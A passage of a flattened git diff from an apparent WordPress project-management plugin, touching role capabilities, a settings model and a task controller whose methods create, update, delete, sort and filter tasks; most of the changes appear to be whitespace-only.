=> 1, + 'view_private_message' => 1, + 'create_list' => 1, + 'view_private_list' => 1, + 'create_milestone' => 1, + 'view_private_milestone' => 1, + 'create_task' => 1, + 'view_private_task' => 1, + 'create_file' => 1, + 'view_private_file' => 1 + ]; + } + + private function set_cap( $caps, $rol_project_id ) { + global $wpdb; + $tb_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + foreach ( $caps as $cap_key => $cap ) { + + if ( ! $cap || ( $cap == 'false' || $cap === false ) ) { + continue; + } + + $cap_id = pm_get_capabilities_relation( $cap_key ); + + $wpdb->insert( + $tb_cap, + [ + 'role_project_id' => $rol_project_id, + 'capability_id' => $cap_id + ], + ['%d', '%d'] + ); + } + } + + private function set_co_worker_role_project_id( $project_id ) { + global $wpdb; + $tb_rol = $wpdb->prefix . 'pm_role_project'; + + $query = "SELECT id FROM $tb_rol + WHERE project_id=%d and role_id=%d"; + + $this->co_worker_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 2 ) ); + + return $this; + } + + private function set_client_role_project_id( $project_id ) { + global $wpdb; + $tb_rol = $wpdb->prefix . 'pm_role_project'; + + $query = "SELECT id FROM $tb_rol + WHERE project_id=%d and role_id=%d"; + + $this->client_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 3 ) ); + + return $this; + } + + private function set_manager_role_project_id( $project_id ) { + global $wpdb; + $tb_rol = $wpdb->prefix . 'pm_role_project'; + + $query = "SELECT id FROM $tb_rol + WHERE project_id=%d and role_id=%d"; + + $this->manager_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 1 ) ); + + return $this; + } + + private function delete_cap( $project_id ) { + global $wpdb; + $tb_rol = $wpdb->prefix . 'pm_role_project'; + $tb_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + $query = "DELETE cp FROM $tb_cap as cp + LEFT JOIN $tb_rol as rp ON rp.id=cp.role_project_id + WHERE rp.project_id=%d"; + + $wpdb->query( $wpdb->prepare( $query, $project_id ) ); + + return $this; + } +} diff --git a/src/Settings/Models/Settings.php b/src/Settings/Models/Settings.php index 251c6d194..1579b813a 100644 --- a/src/Settings/Models/Settings.php +++ b/src/Settings/Models/Settings.php @@ -1,33 +1,33 @@ -attributes['value'] = serialize( $value ); - } - - public function getValueAttribute( $value ) { - return unserialize( $value ); - } +attributes['value'] = serialize( $value ); + } + + public function getValueAttribute( $value ) { + return unserialize( $value ); + } } \ No newline at end of file diff --git a/src/Settings/Sanitizers/Task_Type_Sanitizer.php b/src/Settings/Sanitizers/Task_Type_Sanitizer.php index e5654e55e..335e79957 100644 --- a/src/Settings/Sanitizers/Task_Type_Sanitizer.php +++ b/src/Settings/Sanitizers/Task_Type_Sanitizer.php @@ -1,14 +1,14 @@ - 'trimer|pm_kses', - 'description' => 'trimer|pm_kses', - ]; - } -} + 'trimer|pm_kses', + 'description' => 'trimer|pm_kses', + ]; + } +} diff --git a/src/Settings/Transformers/Settings_Transformer.php b/src/Settings/Transformers/Settings_Transformer.php index c23ba17c1..1686a2652 100644 --- a/src/Settings/Transformers/Settings_Transformer.php +++ b/src/Settings/Transformers/Settings_Transformer.php @@ -1,35 +1,35 @@ - (int) $item->id, - 'key' => $item->key, - 'value' => $item->value, - 'created_at' => format_date( $item->created_at ), - ]; - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_setting_transformer_default_includes", $this->defaultIncludes ); - } + (int) $item->id, + 'key' => $item->key, + 'value' => $item->value, + 'created_at' => format_date( $item->created_at ), + ]; + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_setting_transformer_default_includes", $this->defaultIncludes ); + } } \ No newline at end of file diff --git a/src/Task/Controllers/Task_Controller.php b/src/Task/Controllers/Task_Controller.php index 7a8a5f079..eba2e39e4 100644 --- a/src/Task/Controllers/Task_Controller.php +++ b/src/Task/Controllers/Task_Controller.php @@ -1,1435 +1,1435 @@ -get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 5; - $page = $request->get_param( 'page' ); - $search = $request->get_param( 's' ); - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - if ( $search ) { - $tasks = Task::where( 'project_id', $project_id ) - ->parent() - ->where('title', 'LIKE', '%'.$search.'%'); - - $tasks = apply_filters( 'pm_task_index_query', $tasks, $project_id, $request ); - - $tasks = $tasks->orderBy( 'created_at', 'DESC') - ->get(); - - $resource = new Collection( $tasks, new Task_Transformer ); - } else { - $tasks = Task::where( 'project_id', $project_id ) - ->parent(); - $tasks = apply_filters( 'pm_task_index_query', $tasks, $project_id, $request ); - - if ( $per_page == '-1' ) { - $per_page = $tasks->count(); - } - - $tasks = $tasks->orderBy( 'created_at', 'DESC') - ->paginate( $per_page ); - - $task_collection = $tasks->getCollection(); - $resource = new Collection( $task_collection, new Task_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $tasks ) ); - } - - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_id = $request->get_param( 'task_id' ); - return $this->get_task( $task_id, $project_id, $request->get_params() ); - } - - public static function get_task( $task_id, $project_id = false, $request=[] ) { - return pm_get_tasks( [ - 'id' => $task_id, - 'with' => 'project, activities, comments, task_list, time, labels' - ] ); - // $task = Task::with( 'task_lists' ) - // ->where( 'id', $task_id ) - // ->parent(); - - // if ( $project_id ) { - // $task = $task->where( 'project_id', $project_id ); - - // } - - // $task = apply_filters( 'pm_task_show_query', $task, $project_id, $request ); - // $task = $task->first(); - - // if ( $task == NULL ) { - // return pm_get_response( null, [ - // 'message' => pm_get_text('success_messages.no_element') - // ] ); - // } - - // $resource = new Item( $task, new Task_Transformer ); - // $response = self::getInstance()->get_response( $resource ); - // $response = apply_filters('pm_get_task', $response , $request); - - // return $response ; - } - - public static function create_task( $data ) { - $self = self::getInstance(); - $project_id = $data[ 'project_id' ]; - $board_id = $data[ 'board_id' ]; - $assignees = $data[ 'assignees' ]; - $is_private = $data[ 'privacy' ]; - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - if ( empty( $board_id ) ) { - $inbox = pm_get_meta($project_id, $project_id, 'task_list', 'list-inbox'); - $board_id = $inbox->meta_value; - $data['board_id'] = $inbox->meta_value; - } - - $project = Project::find( $project_id ); - $board = Board::find( $board_id ); - - if ( $project ) { - $data = apply_filters( 'pm_before_create_task', $data, $board_id, $data ); - $task = Task::create( $data ); - } - - do_action( 'cpm_task_new', $board_id, $task->id, $data ); - do_action('pm_after_update_task', $task, $data ); - - if ( $task && $board ) { - $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); - $boardable = Boardable::create([ - 'board_id' => $board->id, - 'board_type' => $board->type, - 'boardable_id' => $task->id, - 'boardable_type' => 'task', - 'order' => $latest_order + 1, - ]); - } - - if ( is_array( $assignees ) && $task ) { - $self->attach_assignees( $task, $assignees ); - } - do_action( 'cpm_after_new_task', $task->id, $board_id, $project_id ); - do_action('pm_after_create_task', $task, $data ); - - $resource = new Item( $task, new Task_Transformer ); - - - $message = [ - 'message' => pm_get_text('success_messages.task_created'), - 'activity' => $self->last_activity( 'task', $task->id ), - ]; - - $response = $self->get_response( $resource, $message ); - - do_action('pm_create_task_aftre_transformer', $response, $data ); - - return $response; - } - - public function store( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $project_id = $request->get_param( 'project_id' ); - $board_id = $request->get_param( 'board_id' ); - $assignees = $request->get_param( 'assignees' ); - $is_private = $request->get_param( 'privacy' ); - $type_id = $request->get_param( 'type_id' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - if ( empty( $board_id ) ) { - $inbox = pm_get_meta($project_id, $project_id, 'task_list', 'list-inbox'); - $board_id = $inbox->meta_value; - $data['board_id'] = $inbox->meta_value; - } - - $project = Project::find( $project_id ); - $board = Board::find( $board_id ); - - if ( $project ) { - $data = apply_filters( 'pm_before_create_task', $data, $board_id, $request->get_params() ); - $task = Task::create( $data ); - } - - do_action( 'cpm_task_new', $board_id, $task->id, $request->get_params() ); - // do_action('pm_after_update_task', $task, $request->get_params() ); - - if ( $task && $board ) { - $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); - $boardable = Boardable::create([ - 'board_id' => $board->id, - 'board_type' => $board->type, - 'boardable_id' => $task->id, - 'boardable_type' => 'task', - 'order' => $latest_order + 1, - ]); - } - - if ( is_array( $assignees ) && $task ) { - $this->attach_assignees( $task, $assignees ); - } - - $this->insert_type( $task->id, $type_id, $project_id, $board_id ); - - do_action( 'cpm_after_new_task', $task->id, $board_id, $project_id ); - do_action('pm_after_create_task', $task, $request->get_params() ); - - $resource = new Item( $task, new Task_Transformer ); - - - $message = [ - 'message' => pm_get_text('success_messages.task_created'), - 'activity' => $this->last_activity( 'task', $task->id ), - ]; - - $response = $this->get_response( $resource, $message ); - - do_action('pm_create_task_aftre_transformer', $response, $request->get_params() ); - - return $response; - } - - public function insert_type ( $task_id, $type_id, $project_id, $list_id ) { - if ( empty( (int) $task_id ) ) { - return; - } - - if ( empty( (int) $type_id ) ) { - return; - } - - $has_task_type_task = Task_Type_Task::find( $task_id ); - - if ( empty( $has_task_type_task ) ) { - Task_Type_Task::create([ - 'type_id' => $type_id, - 'task_id' => $task_id, - 'list_id' => $list_id, - 'project_id' => $project_id - ]); - } - } - - public function update_type( $task_id, $type_id, $project_id, $list_id ) { - - if ( empty( intval( $task_id ) ) ) { - return; - } - - $has_task_type_task = Task_Type_Task::find( $task_id ); - - if ( empty( $has_task_type_task ) && empty( intval( $type_id ) ) ) { - return; - } - - if ( ! empty( $has_task_type_task ) && empty( intval( $type_id ) ) ) { - Task_Types_Controller::destroy_task_type_task_relation_task( $task_id ); - - return; - } - - if ( empty( $has_task_type_task ) && ! empty( intval( $type_id ) ) ) { - $this->insert_type( $task_id, $type_id, $project_id, $list_id ); - - return; - } - - $has_task_type_task->update_model( [ - 'type_id' => $type_id, - 'list_id' => $list_id, - 'project_id' => $project_id - ] ); - } - - public function attach_assignees( Task $task, $assignees = [] ) { - - do_action('pm_before_assignees', $task, $assignees ); - - foreach ( $assignees as $user_id ) { - if ( ! intval( $user_id ) ) { - continue ; - } - $data = [ - 'task_id' => $task->id, - 'assigned_to' => $user_id, - 'project_id' => $task->project_id, - ]; - - $assignee = Assignee::firstOrCreate( $data ); - - if ( ! $assignee->assigned_at ) { - $assignee->assigned_at = Carbon::now(); - $assignee->save(); - } - } - - do_action('pm_after_assignees', $task, $assignees ); - } - - private function update_task_status( Task $task ){ - $user = wp_get_current_user(); - $data = [ - 'task_id' => $task->id, - 'assigned_to' => $user->ID, - 'project_id' => $task->project_id, - ]; - - $assignee = Assignee::where( $data )->first(); - - if ( !$assignee) { - return false; - } - - if( $task->status == 'complete' && !$assignee->completed_at ){ - $assignee->completed_at = Carbon::now(); - $assignee->status = 1; - $assignee->save(); - } - - if( $task->status == 'incomplete' && $assignee->completed_at ){ - $assignee->completed_at = null; - $assignee->status = 0; - $assignee->save(); - } - } - - public function update( WP_REST_Request $request ) { - - return $this->task_update( $request->get_params() ); - } - - // public static function task_update( $params ) { - // $task_id = $params['task_id']; - - // $task = Task::with('assignees')->find( $task_id ); - - // if ( ! isset( $params['assignees'] ) ) { - // $assignees = wp_list_pluck( $task->assignees->toArray(), 'assigned_to' ); - // } else { - // $assignees = empty( $params['assignees'] ) ? [] : $params['assignees']; - // } - - // $list_id = $task->task_list; - // $project_id = $task->project_id; - // $params['project_id'] = $task->project_id; - // $params['list_id'] = $task->task_list; - // $is_private = isset( $params['privacy'] ) ? $params['privacy'] : false; - // $params['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - // $deleted_users = $task->assignees()->whereNotIn( 'assigned_to', $assignees )->get()->toArray(); //->delete(); - // $deleted_users = apply_filters( 'pm_task_deleted_users', $deleted_users, $task ); - // $deleted_users = wp_list_pluck( $deleted_users, 'id' ); - - // if ( $deleted_users ) { - // Assignee::destroy( $deleted_users ); - // } - - // self::getInstance()->attach_assignees( $task, $assignees ); - - // do_action( 'cpm_task_update', $list_id, $task_id, $params ); - - // $params = apply_filters( 'pm_before_update_task', $params, $list_id, $task_id, $task ); - // $task->update_model( $params ); - - // do_action( 'cpm_after_update_task', $task->id, $list_id, $project_id ); - // do_action('pm_after_update_task', $task, $params ); - - // $resource = new Item( $task, new Task_Transformer ); - - // $message = [ - // 'message' => pm_get_text('success_messages.task_updated'), - // 'activity' => self::getInstance()->last_activity( 'task', $task->id ), - // ]; - - // $response = self::getInstance()->get_response( $resource, $message ); - - // do_action('pm_update_task_aftre_transformer', $response, $params ); - - // return $response; - // } - - public static function task_update( $params ) { - $task_id = $params['task_id']; - - $task = Task::with('assignees')->find( $task_id ); - - if ( ! isset( $params['assignees'] ) ) { - $assignees = wp_list_pluck( $task->assignees->toArray(), 'assigned_to' ); - } else { - $assignees = empty( $params['assignees'] ) ? [] : $params['assignees']; - } - - $list_id = $task->task_list; - $project_id = $task->project_id; - $params['project_id'] = $task->project_id; - $params['list_id'] = $task->task_list; - $is_private = isset( $params['privacy'] ) ? $params['privacy'] : $task->is_private; - $type_id = empty( $params['type_id'] ) ? false : intval( $params['type_id'] ); - $deleted_users = $task->assignees()->whereNotIn( 'assigned_to', $assignees )->get()->toArray(); //->delete(); - $deleted_users = apply_filters( 'pm_task_deleted_users', $deleted_users, $task ); - $deleted_users = wp_list_pluck( $deleted_users, 'id' ); - - if ( $is_private == 'true' || $is_private === true ) { - $params['is_private'] = 1; - } else if ( $is_private == 'false' || $is_private === false ) { - $params['is_private'] = 0; - } else { - $params['is_private'] = $is_private; - } - - if ( $deleted_users ) { - Assignee::destroy( $deleted_users ); - } - - self::getInstance()->attach_assignees( $task, $assignees ); - - if ( isset( $params['type_id'] ) ) { - self::getInstance()->update_type( $task->id, $type_id, $project_id, $task->task_list ); - } - - do_action( 'cpm_task_update', $list_id, $task_id, $params ); - - $params = apply_filters( 'pm_before_update_task', $params, $list_id, $task_id, $task ); - $task->update_model( $params ); - - do_action( 'cpm_after_update_task', $task->id, $list_id, $project_id ); - do_action('pm_after_update_task', $task, $params ); - - $task_response = Task_Helper::get_results([ - 'id' => $task->id, - 'with' => 'time, labels, task_list' - ]); - - $response = [ - 'message' => pm_get_text('success_messages.task_updated'), - 'activity' => self::getInstance()->last_activity( 'task', $task->id ), - 'data' => $task_response['data'] - ]; - - do_action('pm_update_task_aftre_transformer', $response, $params ); - - return $response; - } - - public function change_status( WP_REST_Request $request ) { - $task_id = $request->get_param( 'task_id' ); - $task = Task::with('assignees')->find( $task_id ); - $status = $request->get_param( 'status' ); - $old_value = $task->status; - $task->status = $status; - - if ($status) { - $task->completed_by = get_current_user_id(); - $task->completed_at = Carbon::now(); - } else { - $task->completed_by = null; - $task->completed_at = null; - } - - do_action( 'pm_before_change_task_status', $task ); - - if ( $task->save() ) { - $this->update_task_status( $task ); - $this->task_activity_comment($task, $status); - } - - do_action( 'mark_task_complete', $task->project_id, $task->id ); - do_action( 'pm_changed_task_status', $task, $old_value, $request->get_params() ); - - //$resource = new Item( $task, new Task_Transformer ); - $task_response = Task_Helper::get_results([ - 'id' => $task->id, - 'with' => 'time, labels, task_list' - ]); - - $response = [ - 'message' => pm_get_text( 'success_messages.task_updated' ), - 'activity' => self::getInstance()->last_activity( 'task', $task->id ), - 'data' => $task_response['data'] - ]; - - // $message = [ - // 'message' => pm_get_text('success_messages.task_updated'), - // 'activity' => $this->last_activity( 'task', $task->id ), - // ]; - - // $response = $this->get_response( $resource, $message ); - - do_action('pm_changed_task_status_aftre_transformer', $response, $request->get_params() ); - - return $response; - } - - private function task_activity_comment ($task, $status) { - $activity = ( (bool) $status) ? pm_get_text('success_messages.task_activity_done_comment') : pm_get_text('success_messages.task_activity_undone_comment'); - $user_id = get_current_user_id(); - $comment = new Comment; - $comment->content = $activity; - $comment->commentable_id = $task->id; - $comment->commentable_type = 'task_activity'; - $comment->project_id = $task->project_id; - $comment->created_by = $user_id; - $comment->updated_by = $user_id; - $comment->unsetEventDispatcher(); - $comment->save(); - } - - public static function delete_task( $data ) { - $self = self::getInstance(); - $project_id = $data['project_id']; - $task_id = $data['task_id']; - - // Select the task - $task = Task::where( 'id', $task_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $resource = new Item( $task, new Task_Transformer ); - $resource = $self->get_response( $resource ); - $list_id = $resource['data']['task_list_id']; - - do_action( "pm_before_delete_task", $task, $data ); - do_action( 'cpm_delete_task_prev', $task_id, $project_id, $project_id, $task ); - - // Delete relations assoicated with the task - $task->boardables()->delete(); - $task->files()->delete(); - $comments = $task->comments; - - foreach ($comments as $comment) { - $comment->replies()->delete(); - $comment->files()->delete(); - } - - //remove task type - Task_Types_Controller::destroy_task_type_task_relation_task( $task->id ); - - $task->comments()->delete(); - $task->assignees()->delete(); - $task->metas()->delete(); - - Task::where('parent_id', $task->id)->delete(); - // Delete the task - $task->delete(); - - $list = ( new Task_List_Controller )->get_list( [ - 'project_id' => $project_id, - 'task_list_id' => $list_id - ] ); - - do_action( 'cpm_delete_task_after', $task_id, $project_id ); - do_action( 'pm_after_delete_task', $task_id, $project_id ); - - $message = [ - 'message' => pm_get_text('success_messages.task_deleted'), - 'activity' => $self->last_activity( 'task', $task->id ), - 'task' => $resource, - 'list' => $list - ]; - - return $self->get_response( $resource, $message ); - } - - public function destroy( WP_REST_Request $request ) { - // Grab user inputs - $project_id = $request->get_param( 'project_id' ); - $task_id = $request->get_param( 'task_id' ); - - // Select the task - $task = Task::where( 'id', $task_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $resource = new Item( $task, new Task_Transformer ); - $resource = $this->get_response( $resource ); - $list_id = $resource['data']['task_list_id']; - - do_action("pm_before_delete_task", $task, $request->get_params() ); - do_action( 'cpm_delete_task_prev', $task_id, $project_id, $project_id, $task ); - - // Delete relations assoicated with the task - $task->boardables()->delete(); - $task->files()->delete(); - $comments = $task->comments; - - foreach ($comments as $comment) { - $comment->replies()->delete(); - $comment->files()->delete(); - } - - //remove task type - Task_Types_Controller::destroy_task_type_task_relation_task( $task->id ); - - $task->comments()->delete(); - $task->assignees()->delete(); - $task->metas()->delete(); - Task::where('parent_id', $task->id)->delete(); - // Delete the task - $task->delete(); - - $list = ( new Task_List_Controller )->get_list( [ - 'project_id' => $project_id, - 'task_list_id' => $list_id - ] ); - - do_action( 'cpm_delete_task_after', $task_id, $project_id ); - do_action( 'pm_after_delete_task', $task_id, $project_id ); - - $message = [ - 'message' => pm_get_text('success_messages.task_deleted'), - 'activity' => $this->last_activity( 'task', $task->id ), - 'task' => $resource, - 'list' => $list - ]; - - return array_merge( $resource, $message ); - } - - public function attach_to_board( WP_REST_Request $request ) { - $task_id = $request->get_param( 'task_id' ); - $board_id = $request->get_param( 'board_id' ); - - $task = Task::find( $task_id ); - $board = Board::find( $board_id ); - - $latest_order = Boardable::latest_order( $board->id, $board->type, 'task' ); - $boardable = Boardable::firstOrCreate([ - 'board_id' => $board->id, - 'board_type' => $board->type, - 'boardable_id' => $task->id, - 'boardable_type' => 'task', - 'order' => $latest_order + 1, - ]); - - $resource = new Item( $task, new Task_Transformer ); - - return $this->get_response( $resource ); - } - - public function detach_from_board( WP_REST_Request $request ) { - $task_id = $request->get_param( 'task_id' ); - $board_id = $request->get_param( 'board_id' ); - - $task = Task::find( $task_id ); - $board = Board::find( $board_id ); - - $boardable = Boardable::where( 'board_id', $board->id ) - ->where( 'board_type', $board->type ) - ->where( 'boardable_id', $task->id ) - ->where( 'boardable_type', 'task' ) - ->first(); - - $boardable->delete(); - } - - public function attach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_id = $request->get_param( 'task_id' ); - $user_ids = $request->get_param( 'users' ); - - $project = Project::find( $project_id ); - $task = Task::where( 'id', $task_id )->where( 'project_id', $project_id )->first(); - - if ( $project && $task && is_array( $user_ids ) ) { - foreach ( $user_ids as $user_id ) { - $data = [ - 'task_id' => $task->id, - 'assigned_to' => $user_id, - 'assigned_at' => Carbon::now(), - 'project_id' => $project->id, - ]; - Assignee::create( $data ); - } - } - - $resource = new Item( $task, new Task_Transformer ); - - return $this->get_response( $resource ); - } - - public function detach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_id = $request->get_param( 'task_id' ); - $user_ids = $request->get_param( 'users' ); - - $project = Project::find( $project_id ); - $task = Task::where( 'id', $task_id ) - ->where( 'project_id', $project_id ) - ->first(); - - if ( $task && is_array( $user_ids ) ) { - $task->assignees()->whereIn( 'assigned_to', $user_ids )->delete(); - } - - $resource = new Item( $task, new Task_Transformer ); - - return $this->get_response( $resource ); - } - - public function reorder( WP_REST_Request $request ) { - $board_id = $request->get_param( 'board_id' ); - $board_type = $request->get_param( 'board_type' ); - $task_orders = $request->get_param( 'task_orders' ); - - if ( is_array( $task_orders ) ) { - foreach ( $task_orders as $task_order ) { - $boardable = Boardable::where( 'board_id', $board_id ) - ->where( 'board_type', $board_type ) - ->where( 'boardable_id', $task_order['id'] ) - ->where( 'boardable_type', 'task' ) - ->first(); - - if ( $boardable ) { - $boardable->order = (int) $task_order['order']; - $boardable->save(); - } - } - } - } - - public function privacy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_id = $request->get_param( 'task_id' ); - $privacy = $request->get_param( 'is_private' ); - $task = Task::find( $task_id ); - $task->update_model( [ - 'is_private' => $privacy - ] ); - pm_update_meta( $task_id, $project_id, 'task', 'privacy', $privacy ); - return $this->get_response( NULL); - } - - public function task_sorting( WP_REST_Request $request ) { - - $project_id = $request->get_param( 'project_id' ); - $list_id = $request->get_param( 'list_id' ); - $task_id = $request->get_param( 'task_id' ); - $orders = $request->get_param( 'orders' ); - $receive = $request->get_param( 'receive' ); - $task = []; - $sender_list_id = false; - - if ( isset( $receive ) && $receive == 1 ) { - $task = pm_get_task( $task_id ); - $sender_list_id = $task ? $task['data']['task_list']['data']['id'] : false; - $boardable = Boardable::where( 'board_type', 'task_list' ) - ->where( 'boardable_id', $task_id ) - ->first(); - - if ( $boardable ) { - $boardable->board_id = $list_id; - $boardable->update(); - } - - $task = pm_get_task( $task_id ); - } - - foreach ( $orders as $order ) { - $index = empty( $order['index'] ) ? 0 : intval( $order['index'] ); - $task_id = empty( $order['id'] ) ? '' : intval( $order['id'] ); - - $boardable = Boardable::where( 'board_id', $list_id ) - ->where( 'board_type', 'task_list' ) - ->where( 'boardable_id', $task_id ) - ->where( 'boardable_type', 'task' ) - ->first(); - - if ( $boardable ) { - $boardable->order = $index; - $boardable->save(); - } - } - - $list = ( new Task_List_Controller )->get_list( [ - 'project_id' => $project_id, - 'task_list_id' => $list_id - ] ); - - $sender_list = ( new Task_List_Controller )->get_list( [ - 'project_id' => $project_id, - 'task_list_id' => $sender_list_id - ] ); - - wp_send_json_success( [ - 'task' => $task, - 'sender_list_id' => $sender_list_id, - 'list_id' => $list_id, - 'project_id' => $project_id, - 'receive_list' => $list, - 'sender_list' => $sender_list - ] ); - } - - function filter_query( $request ) { - - global $wpdb; - - $status = $request->get_param('status'); - //$board_status = $request->get_param('board_status'); - $due_date = $request->get_param('dueDate'); - $assignees = $request->get_param('users'); - $lists = $request->get_param('lists'); - $project_id = $request->get_param('project_id'); - $title = $request->get_param('title'); - $tb_lists = pm_tb_prefix() . 'pm_boards'; - - - $task_lists = Task_List::select( $tb_lists.'.*' )->with( - [ - 'tasks' => function($q) use( $status, $due_date, $assignees, $project_id, $title ) { - if ( ! empty( $title ) ) { - $q->where('title', 'like', "%{$title}%"); - } - - $q->where('project_id', $project_id); - - if ( ! empty( $status ) ) { - $status = $status == 'complete' ? 1 : 0; - $q->where( 'status', $status ); - } - - if ( ! empty( $due_date ) ) { - if( $due_date == 'overdue' ) { - $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $q->where( 'due_date', '<', $today ); - } else if ( $due_date == 'today' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $q->where( 'due_date', $today ); - } else if ( $due_date == 'week' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); - - $q->where( 'due_date', '>=', $last ); - $q->where( 'due_date', '<=', $today ); - } - } - - if ( ! empty( $assignees ) && ! empty( $assignees[0] ) ) { - $q->whereHas('assignees', function( $assign_query ) use( $assignees ) { - if( is_array( $assignees ) && $assignees[0] != 0 ) { - $assign_query->whereIn('assigned_to', $assignees); - } else if ( !is_array( $assignees ) && $assignees != 0) { - $assign_query->where('assigned_to', $assignees); - } - }); - } - - $q = apply_filters( 'pm_task_filter_query', $q, $project_id ); - } - ] - ) - ->whereHas('tasks', function($q) use( $status, $due_date, $assignees, $project_id, $title ) { - if ( ! empty( $title ) ) { - $q->where('title', 'like', "%{$title}%"); - } - $q->where('project_id', $project_id); - - if ( ! empty( $status ) ) { - $status = $status == 'complete' ? 1 : 0; - $q->where( pm_tb_prefix(). 'pm_tasks.status', $status ); - } - - if ( ! empty( $due_date ) ) { - if( $due_date == 'overdue' ) { - $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $q->where( 'due_date', '<', $today ); - } else if ( $due_date == 'today' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $q->where( 'due_date', $today ); - } else if ( $due_date == 'week' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); - - $q->where( 'due_date', '>=', $last ); - $q->where( 'due_date', '<=', $today ); - } - } - - if ( ! empty( $assignees ) && ! empty( $assignees[0] ) ) { - $q->whereHas('assignees', function( $assign_query ) use( $assignees ) { - if( is_array( $assignees ) && $assignees[0] != 0 ) { - $assign_query->whereIn('assigned_to', $assignees); - } else if ( !is_array( $assignees ) && $assignees != 0) { - $assign_query->where('assigned_to', $assignees); - } - }); - } - - $q = apply_filters( 'pm_task_filter_query', $q, $project_id ); - - } - ) - ->where(function($q) use( $lists ) { - if( !empty( $lists ) && !empty( $lists[0] ) ) { - if( is_array( $lists ) && $lists[0] != 0 ) { - $q->whereIn( pm_tb_prefix() . 'pm_boards.id', $lists ); - } else if ( !is_array( $lists ) && $lists != 0 ) { - $q->where( pm_tb_prefix() . 'pm_boards.id', $lists ); - } - } - }) - ->where( pm_tb_prefix() . 'pm_boards.status', 1 ) - ->where( pm_tb_prefix() . 'pm_boards.project_id', $project_id) - ->orderBy( pm_tb_prefix() . 'pm_boards.order', 'DESC' ); - - return apply_filters( 'pm_check_task_filter_list_permission', $task_lists, $request ); - } - - public function filter( WP_REST_Request $request ) { - $per_page = pm_get_setting( 'list_per_page' ); - $per_page = empty( $per_page ) ? 20 : $per_page; - - $it_per_page = pm_get_setting( 'incomplete_tasks_per_page' ); - $it_per_page = empty( $per_page ) ? 20 : intval( $per_page ); - - $ct_per_page = pm_get_setting( 'complete_tasks_per_page' ); - $ct_per_page = empty( $per_page ) ? 20 : intval( $per_page ); - - $page = $request->get_param('page'); - $project_id = $request->get_param('project_id'); - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $task_lists = $this->filter_query( $request ); - - $task_lists = $task_lists->paginate( $per_page ); - $collection = $task_lists->getCollection(); - - $list_ids = []; - $task_ids = []; - - //get all list ids and tasks ids in individual array - foreach ( $collection as $key => $task_list ) { - $list_ids[] = $task_list->id; - - foreach ( $task_list->tasks as $key => $task_item ) { - $task_ids[] = $task_item->id; - } - } - - $filter = [ - 'status' => $request->get_param('status'), - 'due_date' => $request->get_param('dueDate'), - 'users' => $request->get_param('users'), - 'title' => $request->get_param('title') - ]; - - //get total complete and incomplete tasks count - $lists_tasks_count = ( new Task_List_Controller )->get_lists_tasks_count( $list_ids, $project_id, $filter ); - - foreach ( $collection as $key => $collection_data ) { - $collection_data->lists_tasks_count = empty( $lists_tasks_count[$collection_data->id] ) ? [] : $lists_tasks_count[$collection_data->id]; - } - - $resource = new Collection( $collection, new New_Task_List_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); - - $lists = $this->get_response( $resource ); - $tasks = $this->get_tasks( $task_ids ); - - $merge = []; - - foreach ( $tasks['data'] as $tk => $task ) { - $list_id = $task['task_list_id']; - - if ( $task['status'] == 'incomplete' ) { - $merge[$list_id]['incomplete_tasks'][] = $task; - } - - if ( $task['status'] == 'complete' ) { - $merge[$list_id]['complete_tasks'][] = $task; - } - } - - foreach ( $lists['data'] as $key => $list ) { - $id = $list['id']; - - if ( ! empty( $merge[$id] ) ) { - $lists['data'][$key]['incomplete_tasks']['data'] = ! empty( $merge[$id]['incomplete_tasks'] ) ? $merge[$id]['incomplete_tasks'] : []; - $lists['data'][$key]['complete_tasks']['data'] = ! empty( $merge[$id]['complete_tasks'] ) ? $merge[$id]['complete_tasks'] : []; - } - } - - return $lists; - } - - public function activities( WP_REST_Request $request ) { - - $current_page = $request->get_param( 'activityPage' ); - $task_id = $request->get_param( 'task_id' ); - $per_page = 10; - - Paginator::currentPageResolver(function () use ($current_page) { - return $current_page; - }); - - $activities = Activity::where('resource_id', $task_id) - ->where( 'resource_type', 'task' ) - ->orderBy( 'created_at', 'DESC' ) - ->paginate( $per_page ); - - $activity_collection = $activities->getCollection(); - - $resource = new Collection( $activity_collection, new Activity_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); - - - return $this->get_response( $resource ); - } - - public function transform_tasks( $tasks ) { - $transform_tasks = new Collection( $tasks, new New_Task_Transformer ); - $all_tasks = $this->get_response( $transform_tasks ); - return apply_filters( 